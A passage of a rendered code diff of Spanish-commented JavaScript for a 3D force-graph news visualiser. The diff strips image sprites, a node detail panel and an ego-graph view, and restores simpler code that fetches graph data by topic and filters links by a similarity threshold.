.nodeThreeObject(node => {
|
.forceEngine('d3')
|
||||||
// Imagen local (nodos-imagen) directa; og:image remota de noticias via
|
//.d3Force('charge', d3.forceManyBody().strength(-300))
|
||||||
// proxy same-origin /api/img para que WebGL pueda texturizarla (CORS).
|
//.d3Force('link', d3.forceLink().distance(300).strength(1));
|
||||||
let src = null, esNoticia = false;
|
|
||||||
if (node.type === 'imagen' && node.image_url) {
|
|
||||||
src = node.image_url;
|
|
||||||
} else if (node.imagen_url) {
|
|
||||||
src = '/api/img?u=' + encodeURIComponent(node.imagen_url);
|
|
||||||
esNoticia = true;
|
|
||||||
}
|
|
||||||
if (!src) return null;
|
|
||||||
const texture = getTexture(src);
|
|
||||||
texture.colorSpace = THREE.SRGBColorSpace;
|
|
||||||
const material = new THREE.SpriteMaterial({ map: texture, depthWrite: false });
|
|
||||||
const sprite = new THREE.Sprite(material);
|
|
||||||
// miniaturas de noticia mas pequenas que los nodos-imagen dedicados
|
|
||||||
if (esNoticia) sprite.scale.set(84, 55, 1);
|
|
||||||
else sprite.scale.set(160, 104, 1);
|
|
||||||
return sprite;
|
|
||||||
})
|
|
||||||
.nodeThreeObjectExtend(false)
|
|
||||||
.forceEngine('d3');
|
|
||||||
|
|
||||||
graph.d3Force('charge').strength(-150);
|
|
||||||
graph.d3Force('link').distance(70).strength(0.3);
|
|
||||||
graph.d3Force('center').strength(0.05);
|
|
||||||
|
|
||||||
|
// Centrado automático del gráfico
|
||||||
function centerGraph() {
|
function centerGraph() {
|
||||||
setTimeout(() => {
|
setTimeout(() => {
|
||||||
graph.zoomToFit(400, Math.min(elem.clientWidth, elem.clientHeight) * 0.1);
|
const width = elem.clientWidth;
|
||||||
|
const height = elem.clientHeight;
|
||||||
|
graph.zoomToFit(400, Math.min(width, height) * 0.1);
|
||||||
}, 500);
|
}, 500);
|
||||||
}
|
}
|
||||||
window.addEventListener('resize', () => {
|
window.addEventListener('resize', () => {
|
||||||
|
|
@ -64,179 +32,89 @@ document.addEventListener('DOMContentLoaded', () => {
|
||||||
centerGraph();
|
centerGraph();
|
||||||
});
|
});
|
||||||
|
|
||||||
function getAuthor(node) { return node.autor || node.fuente || node.source || ''; }
|
// Mostrar contenido del nodo
|
||||||
function formatDate(fecha) {
|
function showNodeContent(content) {
|
||||||
if (!fecha) return '';
|
console.log('Contenido del nodo:', content);
|
||||||
try { return new Date(fecha).toLocaleDateString('es-ES'); } catch { return String(fecha); }
|
|
||||||
}
|
|
||||||
function formatTitle(id) { return String(id).replace(/_/g, ' '); }
|
|
||||||
|
|
||||||
function getRelated(node) {
|
|
||||||
const nid = node.id;
|
|
||||||
const relIds = new Set();
|
|
||||||
for (const lk of lastGraphData.links) {
|
|
||||||
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
|
|
||||||
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
|
|
||||||
if (s === nid) relIds.add(t);
|
|
||||||
else if (t === nid) relIds.add(s);
|
|
||||||
}
|
|
||||||
return lastGraphData.nodes.filter(n => relIds.has(n.id));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function renderDetailPanel(node, related, idx) {
|
// Función para obtener datos del servidor
|
||||||
const detailContent = document.getElementById('detailContent');
|
|
||||||
const split = document.querySelector('main.split-screen');
|
|
||||||
if (!detailContent || !split) return;
|
|
||||||
|
|
||||||
detailContent.querySelector('.detail-author').textContent = getAuthor(node);
|
|
||||||
detailContent.querySelector('.detail-date').textContent = formatDate(node.fecha || node.date);
|
|
||||||
detailContent.querySelector('.detail-title').textContent = formatTitle(node.id);
|
|
||||||
|
|
||||||
const relCount = detailContent.querySelector('.relations-count');
|
|
||||||
const relLabel = document.getElementById('relationLabel');
|
|
||||||
const prevBtn = document.getElementById('prevRelation');
|
|
||||||
const nextBtn = document.getElementById('nextRelation');
|
|
||||||
relCount.textContent = `${related.length} relación${related.length !== 1 ? 'es' : ''}`;
|
|
||||||
if (related.length > 0) {
|
|
||||||
relLabel.textContent = formatTitle(related[idx].id);
|
|
||||||
prevBtn.disabled = idx <= 0;
|
|
||||||
nextBtn.disabled = idx >= related.length - 1;
|
|
||||||
} else {
|
|
||||||
relLabel.textContent = '—';
|
|
||||||
prevBtn.disabled = true;
|
|
||||||
nextBtn.disabled = true;
|
|
||||||
}
|
|
||||||
|
|
||||||
const body = detailContent.querySelector('.detail-body');
|
|
||||||
body.innerHTML = '';
|
|
||||||
const _imgSrc = (node.type === 'imagen' && node.image_url) ? node.image_url
|
|
||||||
: (node.imagen_url || null);
|
|
||||||
if (_imgSrc) {
|
|
||||||
const img = document.createElement('img');
|
|
||||||
img.src = _imgSrc;
|
|
||||||
img.className = 'detail-img';
|
|
||||||
img.loading = 'lazy';
|
|
||||||
img.onerror = () => img.remove();
|
|
||||||
body.appendChild(img);
|
|
||||||
}
|
|
||||||
const text = document.createElement('span');
|
|
||||||
text.textContent = node.content || node.texto || node.descripcion || 'Sin contenido disponible.';
|
|
||||||
body.appendChild(text);
|
|
||||||
|
|
||||||
if (related.length > 0) {
|
|
||||||
const conexBtn = document.createElement('button');
|
|
||||||
conexBtn.id = 'verConexionesBtn';
|
|
||||||
conexBtn.textContent = '⬡ Ver solo conexiones de este nodo';
|
|
||||||
conexBtn.addEventListener('click', () => showEgoGraph(node));
|
|
||||||
body.appendChild(conexBtn);
|
|
||||||
}
|
|
||||||
|
|
||||||
split.classList.add('show-detail');
|
|
||||||
setTimeout(() => { graph.width(elem.clientWidth); graph.height(elem.clientHeight); }, 350);
|
|
||||||
}
|
|
||||||
|
|
||||||
function showEgoGraph(node) {
|
|
||||||
const nid = node.id;
|
|
||||||
const relIds = new Set();
|
|
||||||
for (const lk of lastGraphData.links) {
|
|
||||||
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
|
|
||||||
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
|
|
||||||
if (s === nid) relIds.add(t);
|
|
||||||
else if (t === nid) relIds.add(s);
|
|
||||||
}
|
|
||||||
const egoNodes = lastGraphData.nodes.filter(n => n.id === nid || relIds.has(n.id));
|
|
||||||
const egoIds = new Set(egoNodes.map(n => n.id));
|
|
||||||
const egoLinks = lastGraphData.links.filter(lk => {
|
|
||||||
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
|
|
||||||
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
|
|
||||||
return egoIds.has(s) && egoIds.has(t);
|
|
||||||
});
|
|
||||||
fullGraphData = lastGraphData;
|
|
||||||
graph.graphData({ nodes: egoNodes, links: egoLinks });
|
|
||||||
centerGraph();
|
|
||||||
document.getElementById('volverGrafoBtn').classList.add('visible');
|
|
||||||
}
|
|
||||||
|
|
||||||
function restoreFullGraph() {
|
|
||||||
if (fullGraphData) {
|
|
||||||
lastGraphData = fullGraphData;
|
|
||||||
fullGraphData = null;
|
|
||||||
graph.graphData({ nodes: lastGraphData.nodes, links: lastGraphData.links });
|
|
||||||
centerGraph();
|
|
||||||
document.getElementById('volverGrafoBtn').classList.remove('visible');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function showNodeDetail(node) {
|
|
||||||
currentNode = node;
|
|
||||||
currentRelatedNodes = getRelated(node);
|
|
||||||
currentRelatedIdx = 0;
|
|
||||||
renderDetailPanel(node, currentRelatedNodes, currentRelatedIdx);
|
|
||||||
}
|
|
||||||
|
|
||||||
document.getElementById('prevRelation').addEventListener('click', () => {
|
|
||||||
if (currentRelatedIdx > 0) {
|
|
||||||
currentRelatedIdx--;
|
|
||||||
renderDetailPanel(currentNode, currentRelatedNodes, currentRelatedIdx);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
document.getElementById('nextRelation').addEventListener('click', () => {
|
|
||||||
if (currentRelatedIdx < currentRelatedNodes.length - 1) {
|
|
||||||
currentRelatedIdx++;
|
|
||||||
renderDetailPanel(currentNode, currentRelatedNodes, currentRelatedIdx);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
document.getElementById('closeDetail').addEventListener('click', () => {
|
|
||||||
const split = document.querySelector('main.split-screen');
|
|
||||||
if (split) split.classList.remove('show-detail');
|
|
||||||
restoreFullGraph();
|
|
||||||
setTimeout(() => { graph.width(elem.clientWidth); graph.height(elem.clientHeight); }, 350);
|
|
||||||
});
|
|
||||||
|
|
||||||
document.getElementById('volverGrafoBtn').addEventListener('click', () => {
|
|
||||||
restoreFullGraph();
|
|
||||||
});
|
|
||||||
|
|
||||||
async function getData(paramsObj = {}) {
|
async function getData(paramsObj = {}) {
|
||||||
try {
|
try {
|
||||||
let url = '/api/data';
|
let url = '/api/data';
|
||||||
const params = new URLSearchParams();
|
const params = new URLSearchParams();
|
||||||
|
|
||||||
|
// Establecer el tema fijo
|
||||||
params.append('tema', 'economía y corporaciones');
|
params.append('tema', 'economía y corporaciones');
|
||||||
|
|
||||||
|
// Agregar parámetros del formulario, incluyendo complejidad como umbral
|
||||||
for (const key in paramsObj) {
|
for (const key in paramsObj) {
|
||||||
if (paramsObj[key] !== undefined && paramsObj[key] !== '') {
|
if (paramsObj[key] !== undefined && paramsObj[key] !== '') {
|
||||||
params.append(key, paramsObj[key]);
|
params.append(key, paramsObj[key]);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
url += `?${params.toString()}`;
|
url += `?${params.toString()}`;
|
||||||
console.log('Fetch URL:', url);
|
console.log('🔎 Fetch URL:', url);
|
||||||
|
|
||||||
const response = await fetch(url);
|
const response = await fetch(url);
|
||||||
if (!response.ok) throw new Error(response.statusText);
|
if (!response.ok) throw new Error(response.statusText);
|
||||||
const data = await response.json();
|
const data = await response.json();
|
||||||
const nodeIds = new Set(data.nodes.map(n => n.id));
|
console.log('Datos recibidos del servidor:', data);
|
||||||
data.links = data.links.filter(lk => nodeIds.has(lk.source) && nodeIds.has(lk.target));
|
|
||||||
|
// Filtrar enlaces inválidos
|
||||||
|
const nodeIds = new Set(data.nodes.map(node => node.id));
|
||||||
|
data.links = data.links.filter(link => nodeIds.has(link.source) && nodeIds.has(link.target));
|
||||||
|
|
||||||
return data;
|
return data;
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
console.error('Error al obtener datos:', error);
|
console.error('Error al obtener datos del servidor:', error);
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Función principal: fetch, filtrar por complejidad/umbral y renderizar
|
||||||
async function fetchAndRender() {
|
async function fetchAndRender() {
|
||||||
|
const subtematica = document.getElementById('param2').value;
|
||||||
|
const palabraClave = document.getElementById('param1').value;
|
||||||
|
const fechaInicio = document.getElementById('fecha_inicio').value;
|
||||||
|
const fechaFin = document.getElementById('fecha_fin').value;
|
||||||
|
const nodos = document.getElementById('nodos').value;
|
||||||
|
const complejidad = document.getElementById('complejidad').value;
|
||||||
|
|
||||||
|
// Usamos 'complejidad' como porcentaje de similitud mínima (umbral)
|
||||||
const paramsObj = {
|
const paramsObj = {
|
||||||
subtematica: document.getElementById('param2').value,
|
subtematica,
|
||||||
palabraClave: document.getElementById('param1').value,
|
palabraClave,
|
||||||
fechaInicio: document.getElementById('fecha_inicio').value,
|
fechaInicio,
|
||||||
fechaFin: document.getElementById('fecha_fin').value,
|
fechaFin,
|
||||||
nodos: document.getElementById('nodos').value,
|
nodos,
|
||||||
complejidad: document.getElementById('complejidad').value,
|
complejidad // enviado al backend y usado de umbral en cliente
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// Parsear complejidad a número
|
||||||
|
const umbralPct = parseFloat(complejidad) || 0;
|
||||||
|
console.log(`Aplicando umbral de similitud: ${umbralPct}%`);
|
||||||
|
|
||||||
const graphData = await getData(paramsObj);
|
const graphData = await getData(paramsObj);
|
||||||
if (!graphData) return;
|
if (!graphData) return;
|
||||||
lastGraphData = graphData;
|
|
||||||
graph.graphData({ nodes: graphData.nodes, links: graphData.links });
|
// Filtrar enlaces por umbral de similitud
|
||||||
|
let filteredLinks = graphData.links;
|
||||||
|
if (umbralPct > 0) {
|
||||||
|
filteredLinks = filteredLinks.filter(link => Number(link.value) >= umbralPct);
|
||||||
|
console.log(`Enlaces tras aplicar umbral: ${filteredLinks.length}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
graph.graphData({ nodes: graphData.nodes, links: filteredLinks });
|
||||||
centerGraph();
|
centerGraph();
|
||||||
}
|
}
|
||||||
|
|
||||||
form.addEventListener('submit', event => { event.preventDefault(); fetchAndRender(); });
|
// Escuchar evento submit del formulario
|
||||||
|
form.addEventListener('submit', event => {
|
||||||
|
event.preventDefault();
|
||||||
|
fetchAndRender();
|
||||||
|
});
|
||||||
|
|
||||||
|
// Cargar gráfico inicial
|
||||||
fetchAndRender();
|
fetchAndRender();
|
||||||
});
|
});
|
||||||
|
|
|
||||||
|
|
@ -3,38 +3,17 @@
|
||||||
// Obtener el contenedor del gráfico
|
// Obtener el contenedor del gráfico
|
||||||
const elem = document.getElementById('globWarContainer');
|
const elem = document.getElementById('globWarContainer');
|
||||||
|
|
||||||
// Cache de texturas para no recargar la misma imagen
|
|
||||||
const textureCache = {};
|
|
||||||
|
|
||||||
function getTexture(url) {
|
|
||||||
if (!textureCache[url]) {
|
|
||||||
textureCache[url] = new THREE.TextureLoader().load(url);
|
|
||||||
}
|
|
||||||
return textureCache[url];
|
|
||||||
}
|
|
||||||
|
|
||||||
// Inicializar el gráfico
|
// Inicializar el gráfico
|
||||||
const graph = ForceGraph3D()(elem)
|
const graph = ForceGraph3D()(elem)
|
||||||
.backgroundColor('#000000')
|
.backgroundColor('#000000')
|
||||||
.nodeLabel(node => node.type === 'imagen' ? (node.label || node.id) : node.id)
|
.nodeLabel('id')
|
||||||
.nodeAutoColorBy('group')
|
.nodeAutoColorBy('group')
|
||||||
.nodeVal(node => node.type === 'imagen' ? 0 : 2)
|
.nodeVal(2)
|
||||||
.linkColor(() => 'rgba(0,255,80,0.4)')
|
.linkColor(() => 'green')
|
||||||
.onNodeClick(node => showNodeContent(node.content))
|
.onNodeClick(node => showNodeContent(node.content))
|
||||||
.onNodeHover(node => {
|
.onNodeHover(node => {
|
||||||
elem.style.cursor = node ? 'pointer' : null;
|
elem.style.cursor = node ? 'pointer' : null;
|
||||||
})
|
})
|
||||||
.nodeThreeObject(node => {
|
|
||||||
if (node.type !== 'imagen' || !node.image_url) return null;
|
|
||||||
|
|
||||||
const texture = getTexture(node.image_url);
|
|
||||||
texture.colorSpace = THREE.SRGBColorSpace;
|
|
||||||
const material = new THREE.SpriteMaterial({ map: texture, depthWrite: false });
|
|
||||||
const sprite = new THREE.Sprite(material);
|
|
||||||
sprite.scale.set(14, 9, 1);
|
|
||||||
return sprite;
|
|
||||||
})
|
|
||||||
.nodeThreeObjectExtend(false)
|
|
||||||
.forceEngine('d3')
|
.forceEngine('d3')
|
||||||
.d3Force('charge', d3.forceManyBody().strength(-10))
|
.d3Force('charge', d3.forceManyBody().strength(-10))
|
||||||
.d3Force('link', d3.forceLink().distance(30).strength(1));
|
.d3Force('link', d3.forceLink().distance(30).strength(1));
|
||||||
|
|
|
||||||
|
|
@ -1,61 +1,29 @@
|
||||||
// output_glob_war.js
|
// output_glob_war.js
|
||||||
import ForceGraph3D from 'https://esm.sh/3d-force-graph?external=three';
|
|
||||||
import * as THREE from 'three';
|
|
||||||
|
|
||||||
|
// Obtener el contenedor del gráfico
|
||||||
document.addEventListener('DOMContentLoaded', () => {
|
document.addEventListener('DOMContentLoaded', () => {
|
||||||
const elem = document.getElementById('globWarContainer');
|
const elem = document.getElementById('globWarContainer');
|
||||||
const form = document.getElementById('paramForm');
|
const form = document.getElementById('paramForm');
|
||||||
|
|
||||||
let lastGraphData = { nodes: [], links: [] };
|
// Inicializar el gráfico 3D
|
||||||
let fullGraphData = null;
|
|
||||||
let currentRelatedNodes = [];
|
|
||||||
let currentRelatedIdx = 0;
|
|
||||||
let currentNode = null;
|
|
||||||
|
|
||||||
const textureCache = {};
|
|
||||||
function getTexture(url) {
|
|
||||||
if (!textureCache[url]) textureCache[url] = new THREE.TextureLoader().load(url);
|
|
||||||
return textureCache[url];
|
|
||||||
}
|
|
||||||
|
|
||||||
const graph = ForceGraph3D()(elem)
|
const graph = ForceGraph3D()(elem)
|
||||||
.backgroundColor('#000000')
|
.backgroundColor('#000000')
|
||||||
.nodeLabel(node => node.type === 'imagen' ? (node.label || node.id) : node.id)
|
.nodeLabel('id')
|
||||||
.nodeAutoColorBy('group')
|
.nodeAutoColorBy('group')
|
||||||
.nodeVal(node => node.type === 'imagen' ? 20 : 2)
|
.nodeVal(1)
|
||||||
.linkColor(() => 'red')
|
.linkColor(() => 'red')
|
||||||
.onNodeClick(node => showNodeDetail(node))
|
.onNodeClick(node => showNodeContent(node.content))
|
||||||
.onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; })
|
.onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; })
|
||||||
.nodeThreeObject(node => {
|
.forceEngine('d3')
|
||||||
// Imagen local (nodos-imagen) directa; og:image remota de noticias via
|
//.d3Force('charge', d3.forceManyBody().strength(-300))
|
||||||
// proxy same-origin /api/img para que WebGL pueda texturizarla (CORS).
|
//.d3Force('link', d3.forceLink().distance(300).strength(1));
|
||||||
let src = null, esNoticia = false;
|
|
||||||
if (node.type === 'imagen' && node.image_url) {
|
|
||||||
src = node.image_url;
|
|
||||||
} else if (node.imagen_url) {
|
|
||||||
src = '/api/img?u=' + encodeURIComponent(node.imagen_url);
|
|
||||||
esNoticia = true;
|
|
||||||
}
|
|
||||||
if (!src) return null;
|
|
||||||
const texture = getTexture(src);
|
|
||||||
texture.colorSpace = THREE.SRGBColorSpace;
|
|
||||||
const material = new THREE.SpriteMaterial({ map: texture, depthWrite: false });
|
|
||||||
const sprite = new THREE.Sprite(material);
|
|
||||||
// miniaturas de noticia mas pequenas que los nodos-imagen dedicados
|
|
||||||
if (esNoticia) sprite.scale.set(84, 55, 1);
|
|
||||||
else sprite.scale.set(160, 104, 1);
|
|
||||||
return sprite;
|
|
||||||
})
|
|
||||||
.nodeThreeObjectExtend(false)
|
|
||||||
.forceEngine('d3');
|
|
||||||
|
|
||||||
graph.d3Force('charge').strength(-150);
|
|
||||||
graph.d3Force('link').distance(70).strength(0.3);
|
|
||||||
graph.d3Force('center').strength(0.05);
|
|
||||||
|
|
||||||
|
// Centrado automático del gráfico
|
||||||
function centerGraph() {
|
function centerGraph() {
|
||||||
setTimeout(() => {
|
setTimeout(() => {
|
||||||
graph.zoomToFit(400, Math.min(elem.clientWidth, elem.clientHeight) * 0.1);
|
const width = elem.clientWidth;
|
||||||
|
const height = elem.clientHeight;
|
||||||
|
graph.zoomToFit(400, Math.min(width, height) * 0.1);
|
||||||
}, 500);
|
}, 500);
|
||||||
}
|
}
|
||||||
window.addEventListener('resize', () => {
|
window.addEventListener('resize', () => {
|
||||||
|
|
@ -64,181 +32,89 @@ document.addEventListener('DOMContentLoaded', () => {
|
||||||
centerGraph();
|
centerGraph();
|
||||||
});
|
});
|
||||||
|
|
||||||
// --- Detail panel helpers ---
|
// Mostrar contenido del nodo
|
||||||
function getAuthor(node) { return node.autor || node.fuente || node.source || ''; }
|
function showNodeContent(content) {
|
||||||
function formatDate(fecha) {
|
console.log('Contenido del nodo:', content);
|
||||||
if (!fecha) return '';
|
|
||||||
try { return new Date(fecha).toLocaleDateString('es-ES'); } catch { return String(fecha); }
|
|
||||||
}
|
|
||||||
function formatTitle(id) { return String(id).replace(/_/g, ' '); }
|
|
||||||
|
|
||||||
function getRelated(node) {
|
|
||||||
const nid = node.id;
|
|
||||||
const relIds = new Set();
|
|
||||||
for (const lk of lastGraphData.links) {
|
|
||||||
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
|
|
||||||
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
|
|
||||||
if (s === nid) relIds.add(t);
|
|
||||||
else if (t === nid) relIds.add(s);
|
|
||||||
}
|
|
||||||
return lastGraphData.nodes.filter(n => relIds.has(n.id));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function renderDetailPanel(node, related, idx) {
|
// Función para obtener datos del servidor
|
||||||
const detailContent = document.getElementById('detailContent');
|
|
||||||
const split = document.querySelector('main.split-screen');
|
|
||||||
if (!detailContent || !split) return;
|
|
||||||
|
|
||||||
detailContent.querySelector('.detail-author').textContent = getAuthor(node);
|
|
||||||
detailContent.querySelector('.detail-date').textContent = formatDate(node.fecha || node.date);
|
|
||||||
detailContent.querySelector('.detail-title').textContent = formatTitle(node.id);
|
|
||||||
|
|
||||||
const relCount = detailContent.querySelector('.relations-count');
|
|
||||||
const relLabel = document.getElementById('relationLabel');
|
|
||||||
const prevBtn = document.getElementById('prevRelation');
|
|
||||||
const nextBtn = document.getElementById('nextRelation');
|
|
||||||
relCount.textContent = `${related.length} relación${related.length !== 1 ? 'es' : ''}`;
|
|
||||||
if (related.length > 0) {
|
|
||||||
relLabel.textContent = formatTitle(related[idx].id);
|
|
||||||
prevBtn.disabled = idx <= 0;
|
|
||||||
nextBtn.disabled = idx >= related.length - 1;
|
|
||||||
} else {
|
|
||||||
relLabel.textContent = '—';
|
|
||||||
prevBtn.disabled = true;
|
|
||||||
nextBtn.disabled = true;
|
|
||||||
}
|
|
||||||
|
|
||||||
const body = detailContent.querySelector('.detail-body');
|
|
||||||
body.innerHTML = '';
|
|
||||||
const _imgSrc = (node.type === 'imagen' && node.image_url) ? node.image_url
|
|
||||||
: (node.imagen_url || null);
|
|
||||||
if (_imgSrc) {
|
|
||||||
const img = document.createElement('img');
|
|
||||||
img.src = _imgSrc;
|
|
||||||
img.className = 'detail-img';
|
|
||||||
img.loading = 'lazy';
|
|
||||||
img.onerror = () => img.remove();
|
|
||||||
body.appendChild(img);
|
|
||||||
}
|
|
||||||
const text = document.createElement('span');
|
|
||||||
text.textContent = node.content || node.texto || node.descripcion || 'Sin contenido disponible.';
|
|
||||||
body.appendChild(text);
|
|
||||||
|
|
||||||
if (related.length > 0) {
|
|
||||||
const conexBtn = document.createElement('button');
|
|
||||||
conexBtn.id = 'verConexionesBtn';
|
|
||||||
conexBtn.textContent = '⬡ Ver solo conexiones de este nodo';
|
|
||||||
conexBtn.addEventListener('click', () => showEgoGraph(node));
|
|
||||||
body.appendChild(conexBtn);
|
|
||||||
}
|
|
||||||
|
|
||||||
split.classList.add('show-detail');
|
|
||||||
setTimeout(() => { graph.width(elem.clientWidth); graph.height(elem.clientHeight); }, 350);
|
|
||||||
}
|
|
||||||
|
|
||||||
function showEgoGraph(node) {
|
|
||||||
const nid = node.id;
|
|
||||||
const relIds = new Set();
|
|
||||||
for (const lk of lastGraphData.links) {
|
|
||||||
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
|
|
||||||
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
|
|
||||||
if (s === nid) relIds.add(t);
|
|
||||||
else if (t === nid) relIds.add(s);
|
|
||||||
}
|
|
||||||
const egoNodes = lastGraphData.nodes.filter(n => n.id === nid || relIds.has(n.id));
|
|
||||||
const egoIds = new Set(egoNodes.map(n => n.id));
|
|
||||||
const egoLinks = lastGraphData.links.filter(lk => {
|
|
||||||
const s = typeof lk.source === 'object' ? lk.source.id : lk.source;
|
|
||||||
const t = typeof lk.target === 'object' ? lk.target.id : lk.target;
|
|
||||||
return egoIds.has(s) && egoIds.has(t);
|
|
||||||
});
|
|
||||||
fullGraphData = lastGraphData;
|
|
||||||
graph.graphData({ nodes: egoNodes, links: egoLinks });
|
|
||||||
centerGraph();
|
|
||||||
document.getElementById('volverGrafoBtn').classList.add('visible');
|
|
||||||
}
|
|
||||||
|
|
||||||
function restoreFullGraph() {
|
|
||||||
if (fullGraphData) {
|
|
||||||
lastGraphData = fullGraphData;
|
|
||||||
fullGraphData = null;
|
|
||||||
graph.graphData({ nodes: lastGraphData.nodes, links: lastGraphData.links });
|
|
||||||
centerGraph();
|
|
||||||
document.getElementById('volverGrafoBtn').classList.remove('visible');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function showNodeDetail(node) {
|
|
||||||
currentNode = node;
|
|
||||||
currentRelatedNodes = getRelated(node);
|
|
||||||
currentRelatedIdx = 0;
|
|
||||||
renderDetailPanel(node, currentRelatedNodes, currentRelatedIdx);
|
|
||||||
}
|
|
||||||
|
|
||||||
document.getElementById('prevRelation').addEventListener('click', () => {
|
|
||||||
if (currentRelatedIdx > 0) {
|
|
||||||
currentRelatedIdx--;
|
|
||||||
renderDetailPanel(currentNode, currentRelatedNodes, currentRelatedIdx);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
document.getElementById('nextRelation').addEventListener('click', () => {
|
|
||||||
if (currentRelatedIdx < currentRelatedNodes.length - 1) {
|
|
||||||
currentRelatedIdx++;
|
|
||||||
renderDetailPanel(currentNode, currentRelatedNodes, currentRelatedIdx);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
document.getElementById('closeDetail').addEventListener('click', () => {
|
|
||||||
const split = document.querySelector('main.split-screen');
|
|
||||||
if (split) split.classList.remove('show-detail');
|
|
||||||
restoreFullGraph();
|
|
||||||
setTimeout(() => { graph.width(elem.clientWidth); graph.height(elem.clientHeight); }, 350);
|
|
||||||
});
|
|
||||||
|
|
||||||
document.getElementById('volverGrafoBtn').addEventListener('click', () => {
|
|
||||||
restoreFullGraph();
|
|
||||||
});
|
|
||||||
|
|
||||||
// --- Data fetch ---
|
|
||||||
async function getData(paramsObj = {}) {
|
async function getData(paramsObj = {}) {
|
||||||
try {
|
try {
|
||||||
let url = '/api/data';
|
let url = '/api/data';
|
||||||
const params = new URLSearchParams();
|
const params = new URLSearchParams();
|
||||||
|
|
||||||
|
// Establecer el tema fijo
|
||||||
params.append('tema', 'guerra global');
|
params.append('tema', 'guerra global');
|
||||||
|
|
||||||
|
// Agregar parámetros del formulario, incluyendo complejidad como umbral
|
||||||
for (const key in paramsObj) {
|
for (const key in paramsObj) {
|
||||||
if (paramsObj[key] !== undefined && paramsObj[key] !== '') {
|
if (paramsObj[key] !== undefined && paramsObj[key] !== '') {
|
||||||
params.append(key, paramsObj[key]);
|
params.append(key, paramsObj[key]);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
url += `?${params.toString()}`;
|
url += `?${params.toString()}`;
|
||||||
console.log('Fetch URL:', url);
|
console.log('🔎 Fetch URL:', url);
|
||||||
|
|
||||||
const response = await fetch(url);
|
const response = await fetch(url);
|
||||||
if (!response.ok) throw new Error(response.statusText);
|
if (!response.ok) throw new Error(response.statusText);
|
||||||
const data = await response.json();
|
const data = await response.json();
|
||||||
const nodeIds = new Set(data.nodes.map(n => n.id));
|
console.log('Datos recibidos del servidor:', data);
|
||||||
data.links = data.links.filter(lk => nodeIds.has(lk.source) && nodeIds.has(lk.target));
|
|
||||||
|
// Filtrar enlaces inválidos
|
||||||
|
const nodeIds = new Set(data.nodes.map(node => node.id));
|
||||||
|
data.links = data.links.filter(link => nodeIds.has(link.source) && nodeIds.has(link.target));
|
||||||
|
|
||||||
return data;
|
return data;
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
console.error('Error al obtener datos:', error);
|
console.error('Error al obtener datos del servidor:', error);
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Función principal: fetch, filtrar por complejidad/umbral y renderizar
|
||||||
async function fetchAndRender() {
|
async function fetchAndRender() {
|
||||||
|
const subtematica = document.getElementById('param2').value;
|
||||||
|
const palabraClave = document.getElementById('param1').value;
|
||||||
|
const fechaInicio = document.getElementById('fecha_inicio').value;
|
||||||
|
const fechaFin = document.getElementById('fecha_fin').value;
|
||||||
|
const nodos = document.getElementById('nodos').value;
|
||||||
|
const complejidad = document.getElementById('complejidad').value;
|
||||||
|
|
||||||
|
// Usamos 'complejidad' como porcentaje de similitud mínima (umbral)
|
||||||
const paramsObj = {
|
const paramsObj = {
|
||||||
subtematica: document.getElementById('param2').value,
|
subtematica,
|
||||||
palabraClave: document.getElementById('param1').value,
|
palabraClave,
|
||||||
fechaInicio: document.getElementById('fecha_inicio').value,
|
fechaInicio,
|
||||||
fechaFin: document.getElementById('fecha_fin').value,
|
fechaFin,
|
||||||
nodos: document.getElementById('nodos').value,
|
nodos,
|
||||||
complejidad: document.getElementById('complejidad').value,
|
complejidad // enviado al backend y usado de umbral en cliente
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// Parsear complejidad a número
|
||||||
|
const umbralPct = parseFloat(complejidad) || 0;
|
||||||
|
console.log(`Aplicando umbral de similitud: ${umbralPct}%`);
|
||||||
|
|
||||||
const graphData = await getData(paramsObj);
|
const graphData = await getData(paramsObj);
|
||||||
if (!graphData) return;
|
if (!graphData) return;
|
||||||
lastGraphData = graphData;
|
|
||||||
graph.graphData({ nodes: graphData.nodes, links: graphData.links });
|
// Filtrar enlaces por umbral de similitud
|
||||||
|
let filteredLinks = graphData.links;
|
||||||
|
if (umbralPct > 0) {
|
||||||
|
filteredLinks = filteredLinks.filter(link => Number(link.value) >= umbralPct);
|
||||||
|
console.log(`Enlaces tras aplicar umbral: ${filteredLinks.length}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
graph.graphData({ nodes: graphData.nodes, links: filteredLinks });
|
||||||
centerGraph();
|
centerGraph();
|
||||||
}
|
}
|
||||||
|
|
||||||
form.addEventListener('submit', event => { event.preventDefault(); fetchAndRender(); });
|
// Escuchar evento submit del formulario
|
||||||
|
form.addEventListener('submit', event => {
|
||||||
|
event.preventDefault();
|
||||||
|
fetchAndRender();
|
||||||
|
});
|
||||||
|
|
||||||
|
// Cargar gráfico inicial
|
||||||
fetchAndRender();
|
fetchAndRender();
|
||||||
});
|
});
|
||||||
|
|
|
||||||
|
|
